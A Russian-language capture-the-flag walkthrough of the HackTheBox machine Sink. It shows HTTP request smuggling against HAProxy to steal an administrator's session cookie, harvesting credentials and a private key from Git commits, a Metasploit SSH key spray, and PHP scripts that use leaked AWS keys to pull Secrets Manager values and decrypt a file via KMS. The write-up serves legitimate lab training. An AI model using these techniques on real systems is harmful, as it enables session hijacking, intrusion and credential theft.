Хакер - HTB Sink. Учимся прятать запросы HTTP и разбираемся с AWS Secrets Manager

Хакер - HTB Sink. Учимся прятать запросы HTTP и разбираемся с AWS Secrets Manager

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • HTTP Request Smuggling
  • Точка опоры
  • Продвижение
  • AWS Secrets Manager
  • Локальное повышение привилегий

В этой статье мы прой­дем машину Sink с пло­щад­ки HackTheBox. Для это­го нам понадо­бит­ся про­экс­плу­ати­ровать уяз­вимость HTTP Request Smuggling, а получив точ­ку опо­ры, будем раз­бирать­ся с тех­нологи­ей AWS Secrets Manager. Ску­чать точ­но не при­дет­ся!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Ад­рес машины — 10.10.10.225, добав­ляем его в /etc/hosts как sink.htb.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

В резуль­тате ска­ниро­вания находим три откры­тых пор­та: 22 (служ­ба SSH), 3000 (Gitea) и 5000 (Gunicorn). Нач­нем с Git.

Об­наружен­ные име­на поль­зовате­лей

Мы видим какие‑то име­на поль­зовате­лей (запишем их, могут при­годить­ся!), но боль­ше ничего инте­рес­ного нет. Поэто­му перехо­дим к Gunicorn. На сай­те, который он отда­ет, нуж­но регис­три­ровать­ся. Сде­лаем это, авто­ризу­емся и пос­мотрим, что нам ста­нет дос­тупно.

Ос­мотр сай­тов я рекомен­дую про­водить через Burp, что­бы мож­но было прос­мотреть все отправ­ляемые и получа­емые дан­ные. Так пос­ле отправ­ки ком­мента­рия в отве­те замеча­ем заголо­вок Via. Это заголо­вок для прок­си, в котором ука­зано haproxy.

Зап­рос в исто­рии Burp
От­вет сер­вера в исто­рии Burp

HAProxy — это сер­верное при­ложе­ние, которое обес­печива­ет высокую дос­тупность сай­та и балан­сиру­ет наг­рузку TCP и HTTP-при­ложе­ний меж­ду нес­коль­кими сер­верами.

Даль­ше я попытал­ся пос­каниро­вать дирек­тории. У меня ничего не выш­ло, зато сооб­щение об ошиб­ке помог­ло выяс­нить исполь­зуемую вер­сию HAProxy — 1.9.10.

Ошиб­ка, получен­ная при ска­ниро­вании дирек­торий

По­гуг­лив, узна­ем, что эта вер­сия уяз­вима к ата­ке HTTP Request Smuggling.

ТОЧКА ВХОДА

HTTP Request Smuggling

HTTP Request Smuggling — это метод вме­шатель­ства в про­цесс обра­бот­ки сай­том HTTP-зап­росов, получен­ных от одно­го или нес­коль­ких поль­зовате­лей. Уяз­вимость час­то име­ет кри­тичес­кий харак­тер и поз­воля­ет зло­умыш­ленни­ку обой­ти меры безопас­ности, получить несан­кци­они­рован­ный дос­туп к кон­фиден­циаль­ным дан­ным и нап­рямую пос­тавить под угро­зу дру­гих поль­зовате­лей при­ложе­ния. Уяз­вимость воз­ника­ет из‑за того, что спе­цифи­кация HTTP пре­дос­тавля­ет два раз­ных спо­соба ука­зать, где закан­чива­ется зап­рос: заголо­вок Content-Length и заголо­вок Transfer-Encoding.

За­голо­вок Content-Length прост: он опре­деля­ет дли­ну тела сооб­щения в бай­тах. Нап­ример:

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 6

p=test

За­голо­вок Transfer-Encoding может при­менять­ся для ука­зания того, что исполь­зует­ся тело сооб­щения с фраг­менти­рован­ным кодиро­вани­ем. Это зна­чит, что тело сооб­щения содер­жит один или нес­коль­ко бло­ков дан­ных. Бло­ки устро­ены так. Сна­чала идет раз­мер бло­ка в бай­тах (в hex), затем знак новой стро­ки, а даль­ше — содер­жимое бло­ка. Сооб­щение закан­чива­ется бло­ком нулево­го раз­мера. Нап­ример:

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

a

param=test

0

Так мы можем исполь­зовать одновре­мен­но два заголов­ка. Пер­вый сер­вер будет раз­делять зап­росы по пер­вому заголов­ку, а вто­рой — по вто­рому, тем самым встра­ивая свои зап­росы и про­пус­кая их даль­ше.

Прис­тупим к реали­зации. Отпра­вим ком­мента­рий и перех­ватим зап­рос в Burp Proxy.

Зап­рос на сер­вер

Его сто­ит пре­обра­зовать сле­дующим обра­зом: ука­жем заголо­вок Transfer-Encodeing:[\x0b]chunked и поменя­ем зна­чение Connection на keep-alive. Пос­ле чего дуб­лиру­ем заголов­ки зап­роса в тело зап­роса.

Из­менен­ный зап­рос

Пос­ле редирек­та видим явно не тот ком­мента­рий, который отправ­ляли.

От­вет в Burp
Ком­мента­рии на стра­нице сай­та

Де­ло в том, что внут­ренний сер­вер неп­равиль­но интер­пре­тиро­вал раз­мер передан­ных дан­ных из‑за путани­цы в опре­деля­ющих его HTTP заголов­ках, поэто­му отоб­разил боль­ше информа­ции, чем дол­жен был. Блок допол­нитель­ной информа­ции, отоб­ражен­ной в ком­мента­рии, был взят из сле­дующе­го зап­роса дру­гого поль­зовате­ля. В этом зап­росе переда­вались cookie дру­гого поль­зовате­ля, которые мы сра­зу под­став­ляем себе и перезаг­ружа­ем стра­ницу. Как мож­но заметить, в дан­ный момент мы име­ем сес­сию адми­нис­тра­тора сай­та.

Шап­ка сай­та

Так как это сер­вис хра­нения заметок, сра­зу прос­мотрим, что может хра­нить админ. Находим три замет­ки.

За­писи адми­нис­тра­тора

Каж­дая из них содер­жит учет­ные дан­ные.

Со­дер­жимое заметок адми­нис­тра­тора

ТОЧКА ОПОРЫ

С най­ден­ными учет­ными дан­ными получа­ется авто­ризо­вать­ся в Git от име­ни root. Находим очень мно­го ком­митов, которые сто­ит прос­мотреть. Отту­да мы можем получить еще какие‑нибудь учет­ные дан­ные, сек­реты, токены или прос­то узнать исполь­зуемые тех­нологии.

Стра­ница Git поль­зовате­ля root

Я начал прос­мотр с кон­ца. Важ­ные дан­ные наш­лись в ком­мите вот по этой ссыл­ке:

http://sink.htb:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1baa

Ис­ходный код logs.php

А в этом ком­мите нашел­ся при­ват­ный ключ:

http://sink.htb:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e

Ис­ходный код dev_keys

Не­обхо­димо про­верить этот ключ. Для это­го сфор­миру­ем спи­сок поль­зовате­лей и попыта­емся под­клю­чить­ся по SSH. Для авто­мати­зации я исполь­зовал Metasploit Framework.

msfconsole

use auxiliary/scanner/ssh/ssh_login_pub

set RHOSTS sink.htb

set USER_FILE users.txt

set KEY_PATH root.key

run

Нас­трой­ка Metasploit для перебо­ра поль­зовате­лей
Ре­зуль­тат перебо­ра поль­зовате­лей

В ито­ге находим поль­зовате­ля, к учет­ке которо­го под­ходит ключ. Так мы получа­ем ста­биль­ную точ­ку опо­ры в виде дос­тупа по SSH.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

AWS Secrets Manager

В репози­тории мы наш­ли сек­рет и ключ для AWS. Про­верим, работа­ет ли этот сер­вис на хос­те, а имен­но — открыт ли порт 4566.

Про­вер­ка дос­тупнос­ти пор­та

Порт открыт, AWS работа­ет. Теперь мож­но с пол­ной уве­рен­ностью ска­зать, что мы наш­ли даль­нейший век­тор ата­ки. AWS Secrets Manager поз­воля­ет защищать кон­фиден­циаль­ные дан­ные, исполь­зуемые для дос­тупа к при­ложе­ниям, сер­висам и дру­гим ресур­сам. Сер­вис пред­назна­чен для упро­щения ротации и извле­чения дан­ных для дос­тупа к БД, клю­чей API и дру­гих кон­фиден­циаль­ных дан­ных, а так­же управле­ния ими. Что­бы прод­винуть­ся даль­ше, нам нуж­но зах­ватить учет­ку дру­гого поль­зовате­ля, и это отличное мес­то для поис­ков.

Сек­рет и ключ дает нам воз­можность получить кри­тичес­кие дан­ные. Для это­го мы исполь­зуем SecretsManagerClient из репози­тория и код из докумен­тации. Но спер­ва тун­нелиру­ем порт:

sudo ssh -L 4566:127.0.0.1:4566 -i root.key marcus@10.10.10.225

Та­ким обра­зом весь тра­фик, который мы пош­лем на локаль­ный порт 4566, будет тун­нелиро­ван на порт 4566 уда­лен­ного хос­та. А теперь, исполь­зуя код из докумен­тации с под­став­ленны­ми дан­ными SecretsManagerClient, получим спи­сок сох­ранен­ных сек­ретов.

<?php

require 'vendor/autoload.php';

use Aws\SecretsManager\SecretsManagerClient;

use Aws\Exception\AwsException;

$client = new SecretsManagerClient([

'region' => 'eu',

'endpoint' => 'http://127.0.0.1:4566',

'credentials' => [

'key' => 'AKIAIUEN3QWCPSTEITJQ',

'secret' => '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'

],

'version' => 'latest'

]);

try {

$result = $client->listSecrets([

]);

var_dump($result);

} catch (AwsException $e) {

// output error message if fails

echo $e->getMessage();

echo "\n";

}

?>

Спи­сок сох­ранен­ных сек­ретов.

Так как мы име­ем сек­реты, мы можем получить хра­нящи­еся зна­чения. Так­же исполь­зуем до­кумен­тацию, най­ден­ные сек­реты и дан­ные из репози­тория.

<?php

require 'vendor/autoload.php';

use Aws\SecretsManager\SecretsManagerClient;

use Aws\Exception\AwsException;

$client = new SecretsManagerClient([

'region' => 'eu',

'endpoint' => 'http://127.0.0.1:4566',

'credentials' => [

'key' => 'AKIAIUEN3QWCPSTEITJQ',

'secret' => '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'

],

'version' => 'latest'

]);

$secretName = ["arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ElTxf","arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-qZfJI","arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-GoJSC"];

for($i=0; $i<3; $i+=1){

try {

$result = $client->getSecretValue([

'SecretId' => $secretName[$i],

]);

} catch (AwsException $e) {

$error = $e->getAwsErrorCode();

if ($error == 'DecryptionFailureException') {

throw $e;

}

if ($error == 'InternalServiceErrorException') {

throw $e;

}

if ($error == 'InvalidParameterException') {

throw $e;

}

if ($error == 'InvalidRequestException') {

throw $e;

}

if ($error == 'ResourceNotFoundException') {

throw $e;

}

}

if (isset($result['SecretString'])) {

$secret = $result['SecretString'];

} else {

$secret = base64_decode($result['SecretBinary']);

}

echo $secret . "\n";

}

?>

Сох­ранен­ные в AWS дан­ные

Так мы получа­ем учет­ные дан­ные трех поль­зовате­лей. Поль­зователь david при­сутс­тву­ет в сис­теме, и най­ден­ный пароль поз­воля­ет авто­ризо­вать­ся от его име­ни.

Сме­на поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­ней дирек­тории находим какой‑то про­ект, а в нем — зашиф­рован­ный файл.

Ре­зуль­тат работы скрип­та

Так как файл зашиф­рован, а мы уже име­ли дело с AWS, давай поп­робу­ем и рас­шифро­вать его с помощью AWS. Сна­чала нуж­но получить спи­сок клю­чей, шаб­лон кода сно­ва берем из до­кумен­тации.

<?php

require 'vendor/autoload.php';

use Aws\Kms\KmsClient;

use Aws\Exception\AwsException;

$KmsClient = new Aws\Kms\KmsClient([

'version' => 'latest',

'region' => 'eu',

'credentials' => [

'key' => 'AKIAIUEN3QWCPSTEITJQ',

'secret' => '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'

],

'endpoint' => 'http://127.0.0.1:4566'

]);

$limit = 10;

try {

$result = $KmsClient->listKeys([

'Limit' => $limit,

]);

var_dump($result);

} catch (AwsException $e) {

// output error message if fails

echo $e->getMessage();

echo "\n";

}

?>

По­луче­ние клю­чей AWS

Имея спи­сок клю­чей, давай поп­робу­ем рас­шифро­вать сооб­щение. Сна­чала закоди­руем в Base64 для удобс­тва работы.

Ко­диро­вание сооб­щения

И сно­ва фор­миру­ем код для дешиф­ровки из шаб­лона.

<?php

require 'vendor/autoload.php';

use Aws\Kms\KmsClient;

use Aws\Exception\AwsException;

$KmsClient = new Aws\Kms\KmsClient([

'version' => 'latest',

'region' => 'eu',

'credentials' => [

'key' => 'AKIAIUEN3QWCPSTEITJQ',

'secret' => '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'

],

'endpoint' => 'http://127.0.0.1:4566'

]);

$keys = [

"0b539917-5eff-45b2-9fa1-e13f0d2c42ac",

"16754494-4333-4f77-ad4c-d0b73d799939",

"2378914f-ea22-47af-8b0c-8252ef09cd5f",

"2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",

"53bb45ef-bf96-47b2-a423-74d9b89a297a",

"804125db-bdf1-465a-a058-07fc87c0fad0",

"837a2f6e-e64c-45bc-a7aa-efa56a550401",

"881df7e3-fb6f-4c7b-9195-7f210e79e525",

"c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",

"f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"

];

$CT = "mXMs+8ZLEp9krGLLJT2YHLgHQP/uRJYSfX+YTqar7wabvOQ8PSuPwUFAmEJh86q3kaURmnRxr/smZvkU6Pp0KPV7ye2sP10hvPJDF2mkNcIEVif3RaMU08jZi7U/ghZyoXseM6EEcu9c1gYpDqZ74CMEh7AoasksLswCJJZYI0TfcvTlXx84XBfCWsK7cTyDb4SughAq9MY89Q6lt7gnw6IwG/tSHi9a1MY8eblCwCMNwRrFQ44x8p3hS2FLxZe2iKUrpiyUDmdThpFJPcM3uxiXU+cuyZJgxzQ2Wl0Gqaj0RpVD2w2wJGrQBnCnouahOD1SXT3DwrUMWXyeNMc52lWo3aB+mq/uhLxcTeGSImHJcfUYYQqXoIrOHcS7O1WFoaMvMtIAl+uRslGVSEwiU6sVe9nMCuyvrsbsQ0N46jjro5h1nFmTmZ0C1Xr97Go/pHmJxgG1lxnOepsglLrPMXc5F6lFH1aKxlzFVAxGKWNAzTlzGC+HnBXjugLpP8Shpb24HPdnt/fF/dda8qyaMcYZCOmLODums2+ROtrPJ4CTuaiSbOWJuheQ6U/v5AbeQSF93RF28iyiA905SCNRi3ejGDH65OWv6aw1VnTf8TaREPH5ZNLazTW5Jo8kvLqJaEtZISRNUEmsJHr79U1VjpovPzePTKeDTR0qosW/GJ8=";

for ($i=0; $i<count($keys); $i++) {

try {

$result = $KmsClient->enableKey([

'KeyId' => $keys[$i],

]);

$result = $KmsClient->decrypt([

'CiphertextBlob' => base64_decode($CT),

'KeyId' => $keys[$i],

'EncryptionAlgorithm' => 'RSAES_OAEP_SHA_256',

]);

echo base64_encode($result["Plaintext"]);

} catch (AwsException $e) {

// output error message if fails

echo $e->getMessage();

echo "\n";

}

}

?>

Де­шиф­ровка фай­ла

Сре­ди кучи оши­бок видим закоди­рован­ные дан­ные. Это наш рас­шифро­ван­ный файл. Декоди­руем стро­ку и записы­ваем файл. Так­же нам нуж­но узнать, что это за файл.

echo [base64 строка] | base64 -d > servers

file servers

Оп­ределе­ния типа фай­ла

Это архив gzip. Читать фай­лы из него мож­но ути­литой zcat.

Чте­ние gzip

Ви­дим пару из логина и пароля. Про­буем пароль к root...

Флаг рута

И получа­ем пол­ный кон­троль над машиной.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page